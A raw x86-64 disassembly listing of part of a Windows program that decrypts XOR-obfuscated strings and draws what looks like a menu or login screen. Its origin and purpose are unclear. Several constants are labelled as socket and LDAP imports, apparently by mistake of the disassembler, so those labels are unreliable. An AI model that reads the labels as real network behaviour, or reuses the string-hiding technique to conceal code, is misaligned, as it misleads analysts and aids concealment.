movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r10, [rbp + 0xc8]
add r10, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0xd
jl 0x1400794e0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0xc8]
call fcn.140066e30
cmp byte [0x1401481f9], 0
jne 0x14007999f
lea rcx, [rbp + 0xa68]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140079551
test rax, rax
jne 0x14007999f
call fcn.14003adb0
mov rdi, rax
lea rcx, [rbp + 0x5b8]
call fcn.14003a490
call fcn.140039fe0
mov r10, rax
movups xmm0, xmmword [0x1401205e0]
movups xmmword [rsp + 0x68], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x140079723
cmp r15d, 2
jl 0x1400796e7
movdqa xmm5, xmmword [0x1401311e0]
mov edx, esi
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rsp + 0x6c]
mov r8d, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400795e0
jmp 0x140079723
lea r9, [rsp + 0x68]
mov r8d, esi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400796f0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movss xmm2, dword [r10 + 0x14]
lea rdx, [rbp + 0x5a0]
mov rcx, r10
call fcn.140051820
movss xmm7, dword [rbp + 0x5b8]
addss xmm7, xmm13
call fcn.14003ab40
movss xmm6, dword [rbp + 0x5bc]
addss xmm6, dword [rax + 0x40]
call fcn.14003ab50
subss xmm0, dword [rbp + 0x5a4]
mulss xmm0, xmm14
addss xmm0, xmm6
movss dword [rbp + 0x5c8], xmm7
movss dword [rbp + 0x5cc], xmm0
movups xmm0, xmmword [0x1401205f0]
movups xmmword [rbp + 0x550], xmm0
movsd xmm0, qword [0x140120600]
movsd qword [rbp + 0x560], xmm0
movzx eax, word [0x140120608]
mov word [rbp + 0x568], ax
movzx eax, byte [0x14012060a]
mov byte [rbp + 0x56a], al
mov r8d, esi
cmp r15d, 2
jl 0x14007991e
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140079811
cmp r8d, 0x1b
jge 0x140079963
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140079930
movaps xmm1, xmm8
mov ecx, 1
call fcn.140039ee0
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x550]
mov r8d, eax
lea rdx, [rbp + 0x5c8]
mov rcx, rdi
call fcn.140051080
movss xmm6, dword [0x140120a58]
movss xmm7, dword [0x1400f4854]
xor ecx, ecx
call fcn.14003bdb0
mov byte [0x1401481f9], al
cmp byte [0x1401481f8], 0
jne 0x140079e03
mov dword [rbp + 0x298], 0x42960000
mov dword [rbp + 0x29c], 0x42f00000
lea rcx, [rbp + 0x298]
call fcn.140047270
movaps xmm1, xmm7
mov ecx, ntohl
call fcn.140042900
mov dword [rbp + 0x2a0], 0x43160000
mov dword [rbp + 0x2a4], 0x41f00000
mov eax, dword [str.WSU_]
mov dword [rbp - 0x38], eax
movzx eax, word [0x140120610]
mov word [rbp - 0x34], ax
mov byte [rbp - 0x38], Ordinal_79
xor byte [rbp - 0x37], 0x38
xor byte [rbp - 0x36], 0x39
xor byte [rbp - 0x35], 0x3a
xor al, 0x3b
mov byte [rbp - 0x34], al
xor byte [rbp - 0x33], 0x3c
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x38]
call fcn.1400659c0
test al, al
je 0x140079e03
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x588], rsi
lea rax, [rbp + 0xa68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140079a65
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0x570]
call fcn.140020530
nop
lea rdx, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova rdx, qword [rbp + 0x570]
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140079ac0
lea rcx, [rbp + 0x550]
call fcn.140020530
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x7d0]
call fcn.140090360
mov qword [rbp + 0x580], rsi
lea rax, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova rax, qword [rbp + 0x570]
mov byte [rax], 0
cmp byte [rbp + 0x9e0], 0
jne 0x140079daf
mov eax, dword [0x140120614]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140120618]
mov word [rbp - 0x2c], ax
mov byte [rbp - 0x30], 0x45
xor byte [rbp - 0x2f], 0x38
xor byte [rbp - 0x2e], 0x39
xor byte [rbp - 0x2d], 0x3a
xor al, 0x3b
mov byte [rbp - 0x2c], al
xor byte [rbp - 0x2b], 0x3c
lea rdx, [rbp + 0x9e8]
cmp qword [rbp + 0xa00], 0xf
cmova rdx, qword [rbp + 0x9e8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], rsi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140079b80
lea rcx, [rbp + 0x118]
call fcn.140020530
nop
mov byte [rsp + 0x60], 0
lea rax, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140079bb0
mov r8, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
sub rax, r8
cmp rdi, rax
ja 0x140079c79
lea rax, [r8 + rdi]
mov qword [rbp + 0x128], rax
lea rsi, [rbp + 0x118]
cmp rcx, 0xf
cmova rsi, qword [rbp + 0x118]
lea rax, [rsp + 0x60]
add rax, rdi
cmp rax, rsi
jbe 0x140079c2d
lea rax, [rsi + r8]
lea rcx, [rsp + 0x60]
cmp rcx, rax
ja 0x140079c2d
lea rax, [rsp + 0x60]
cmp rsi, rax
ja 0x140079c20
xor eax, eax
mov r14d, eax
jmp 0x140079c30
lea rax, [rsp + 0x60]
mov r14, rsi
sub r14, rax
jmp 0x140079c30
mov r14, rdi
inc r8
lea rcx, [rsi + rdi]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rsp + 0x60]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
sub r8, r14
lea rax, [r14 + rdi]
lea rdx, [rsp + 0x60]
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x118]
mov r14d, dword [rbp + 0x18]
xor esi, esi
jmp 0x140079c9e
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, bl
mov rdx, rdi
lea rcx, [rbp + 0x118]
call fcn.140077900
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x550], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x560], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or r14d, 1
mov dword [rbp + 0x18], r14d
lea rdx, [rbp + 0x550]
cmp qword [rbp + 0x568], 0xf
cmova rdx, qword [rbp + 0x550]
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp + 0x568]
cmp rdx, 0xf
jbe 0x140079d4c
inc rdx
mov rcx, qword [rbp + 0x550]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140079d47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007fc4e
call fcn.1400ed6a0
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x550], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x140079da6
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140079da1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007fc55
call fcn.1400ed6a0
cmp byte [rbp + 0x9e0], 0
je 0x140079dc2
lea rcx, [0x140147030]
call fcn.14007ff90
mov byte [0x1401481f8], 1
mov rdx, qword [rbp + 0x588]
cmp rdx, 0xf
jbe 0x140079e03
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140079dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007fc5c
call fcn.1400ed6a0
mov edi, 1
cmp byte [0x1401481f8], dil
jne 0x140079e19
mov dword [0x1401481f4], edi
jmp 0x140079e28
mov eax, dword [0x1401481f4]
cmp eax, 1
jne 0x14007fae2
mov dword [rbp + 0x2a8], 0x43c80000
mov dword [rbp + 0x2ac], 0x437a0000
xor edx, edx
lea rcx, [rbp + 0x2a8]
call fcn.140047b30
call fcn.14003ade0
subss xmm0, xmm6
call fcn.1400472f0
movaps xmm0, xmm8
call fcn.1400479a0
mov dword [rbp + 0x2b0], 0x42e60000
mov dword [rbp + 0x2b4], 0x42180000
lea rcx, [rbp + 0x2b0]
call fcn.140047270
movzx eax, word [0x14012061c]
mov word [rsp + 0x68], ax
cmp byte [0x14012061d], 0
je 0x140079ea0
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x2b8], 0x42e60000
mov dword [rbp + 0x2bc], 0x42480000
lea rcx, [rbp + 0x2b8]
call fcn.140047270
movzx eax, word [0x140120620]
mov word [rsp + 0x68], ax
cmp byte [0x140120621], 0
je 0x140079ef8
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x2c0], 0x42e60000
mov dword [rbp + 0x2c4], 0x42780000
lea rcx, [rbp + 0x2c0]
call fcn.140047270
movzx eax, word [0x140120624]
mov word [rsp + 0x68], ax
cmp byte [0x140120625], 0
je 0x140079f50
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x2c8], 0x42e60000
mov dword [rbp + 0x2cc], 0x42940000
lea rcx, [rbp + 0x2c8]
call fcn.140047270
movzx eax, word [0x140120628]
mov word [rsp + 0x68], ax
cmp byte [0x140120629], 0
je 0x140079fa8
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x138], 0x42e60000
mov dword [rbp + 0x13c], 0x42ac0000
lea rcx, [rbp + 0x138]
call fcn.140047270
movzx eax, word [0x14012062c]
mov word [rsp + 0x68], ax
cmp byte [0x14012062d], 0
je 0x14007a000
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x140], 0x42e60000
mov dword [rbp + 0x144], 0x42c40000
lea rcx, [rbp + 0x140]
call fcn.140047270
movzx eax, word [0x140120630]
mov word [rsp + 0x68], ax
cmp byte [0x140120631], 0
je 0x14007a058
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x148], 0x42e60000
mov dword [rbp + 0x14c], 0x42dc0000
lea rcx, [rbp + 0x148]
call fcn.140047270
movzx eax, word [0x140120634]
mov word [rsp + 0x68], ax
cmp byte [0x140120635], 0
je 0x14007a0b0
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x150], 0x42e60000
mov dword [rbp + 0x154], 0x42f40000
lea rcx, [rbp + 0x150]
call fcn.140047270
movzx eax, word [0x140120638]
mov word [rsp + 0x68], ax
cmp byte [0x140120639], 0
je 0x14007a108
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x158], 0x42e60000
mov dword [rbp + 0x15c], 0x43060000
lea rcx, [rbp + 0x158]
call fcn.140047270
movzx eax, word [0x14012063c]
mov word [rsp + 0x68], ax
cmp byte [0x14012063d], 0
je 0x14007a160
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x160], 0x42e60000
mov dword [rbp + 0x164], 0x43120000
lea rcx, [rbp + 0x160]
call fcn.140047270
movzx eax, word [0x140120640]
mov word [rsp + 0x68], ax
cmp byte [0x140120641], 0
je 0x14007a1b8
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x168], 0x42e60000
mov dword [rbp + 0x16c], 0x431e0000
lea rcx, [rbp + 0x168]
call fcn.140047270
movzx eax, word [0x140120644]
mov word [rsp + 0x68], ax
cmp byte [0x140120645], 0
je 0x14007a210
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x170], 0x42e60000
mov dword [rbp + 0x174], 0x432a0000
lea rcx, [rbp + 0x170]
call fcn.140047270
movzx eax, word [0x140120648]
mov word [rsp + 0x68], ax
cmp byte [0x140120649], 0
je 0x14007a268
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x178], 0x42e60000
mov dword [rbp + 0x17c], 0x43360000
lea rcx, [rbp + 0x178]
call fcn.140047270
movzx eax, word [0x14012064c]
mov word [rsp + 0x68], ax
cmp byte [0x14012064d], 0
je 0x14007a2c0
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x180], 0x42e60000
mov dword [rbp + 0x184], 0x43420000
lea rcx, [rbp + 0x180]
call fcn.140047270
movzx eax, word [0x140120650]
mov word [rsp + 0x68], ax
cmp byte [0x140120651], 0
je 0x14007a318
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x188], 0x42e60000
mov dword [rbp + 0x18c], 0x434e0000
lea rcx, [rbp + 0x188]
call fcn.140047270
movzx eax, word [0x140120654]
mov word [rsp + 0x68], ax
cmp byte [0x140120655], 0
je 0x14007a370
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x190], 0x42e60000
mov dword [rbp + 0x194], 0x435a0000
lea rcx, [rbp + 0x190]
call fcn.140047270
movzx eax, word [0x140120658]
mov word [rsp + 0x68], ax
cmp byte [0x140120659], 0
je 0x14007a3c8
mov byte [rsp + 0x68], 0x7c
xor byte [rsp + 0x69], 0x38
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007a401
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x410]
jmp 0x14007a416
movaps xmm0, xmmword [0x140120aa0]
movups xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3c0]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140042810
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007a440
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x430], xmm0
lea rdx, [rbp + 0x430]
jmp 0x14007a455
movaps xmm0, xmmword [0x140120ab0]
movups xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140042810
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007a47f
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x450], xmm0
lea rdx, [rbp + 0x450]
jmp 0x14007a494
movaps xmm0, xmmword [0x140120aa0]
movups xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x460]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140042810
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, 5
call fcn.140042810
movaps xmm1, xmm9
mov ecx, reloc.WS2_32.dll_listen
call fcn.140042900
mov dword [rbp + 0x198], 0x40800000
mov dword [rbp + 0x19c], 0x41f00000
lea rcx, [rbp + 0x198]
call fcn.140047270
mov dword [rbp + 0x1a0], 0x42c80000
mov dword [rbp + 0x1a4], 0x42700000
movsd xmm0, qword [0x140120660]
movsd qword [rbp + 0x108], xmm0
mov eax, dword [0x140120668]
mov dword [rbp + 0x110], eax
movzx eax, word [0x14012066c]
mov word [rbp + 0x114], ax
cmp byte [0x14012066d], 0
je 0x14007a693
mov r8d, esi
cmp r15d, 2
jl 0x14007a649
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140120660]
xorps xmm2, xmm0
movd dword [rbp + 0x108], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c]
xorps xmm2, xmm1
movd dword [rbp + 0x10c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x108]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14007a660
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x108]
call fcn.1400659c0
test al, al
je 0x14007a6c5
mov dword [0x1401481f0], esi
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401481fa], 0
mov byte [0x1401481fb], 0
mov ecx, 4
call fcn.140042270
mov ecx, edi
call fcn.1400422c0
mov dword [rbp + 0x1a8], 0x40800000
mov dword [rbp + 0x1ac], 0x42d20000
lea rcx, [rbp + 0x1a8]
call fcn.140047270
cmp byte [0x1401481fa], 0
je 0x14007a716
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x470], xmm0
lea rdx, [rbp + 0x470]
jmp 0x14007a72b
movaps xmm0, xmmword [0x140120aa0]
movups xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140042810
cmp byte [0x1401481fa], 0
je 0x14007a755
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x480], xmm0
lea rdx, [rbp + 0x480]
jmp 0x14007a76a
movaps xmm0, xmmword [0x140120ab0]
movups xmmword [rbp + 0x490], xmm0
lea rdx, [rbp + 0x490]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140042810
cmp byte [0x1401481fa], 0
je 0x14007a794
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x4a0], xmm0
lea rdx, [rbp + 0x4a0]
jmp 0x14007a7a9
movaps xmm0, xmmword [0x140120aa0]
movups xmmword [rbp + 0x4b0], xmm0
lea rdx, [rbp + 0x4b0]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140042810
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, 5
call fcn.140042810
movaps xmm1, xmm9
mov ecx, reloc.WS2_32.dll_listen
call fcn.140042900
mov dword [rbp + 0x1b0], 0x42c80000
mov dword [rbp + 0x1b4], 0x42700000
movsd xmm0, qword [0x140120670]
movsd qword [rbp + 8], xmm0
movzx ecx, word [0x140120678]
mov word [rbp + 0x10], cx
movzx eax, byte [0x14012067a]
mov byte [rbp + 8], 0xef
xor byte [rbp + 9], 0x38
xor byte [rbp + 0xa], 0x39
xor byte [rbp + 0xb], 0x3a
xor byte [rbp + 0xc], 0x3b
xor byte [rbp + 0xd], 0x3c
xor byte [rbp + 0xe], 0x3d
xor byte [rbp + 0xf], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x10], cl
xor byte [rbp + 0x11], 0x40
xor al, 0x41
mov byte [rbp + 0x12], al
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 8]
call fcn.1400659c0
test al, al
je 0x14007a867
mov dword [0x1401481f0], edi
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401481fa], 1
mov byte [0x1401481fb], 0
mov ecx, 4
call fcn.140042270
mov ecx, edi
call fcn.1400422c0
mov dword [rbp + 0x1b8], 0x40800000
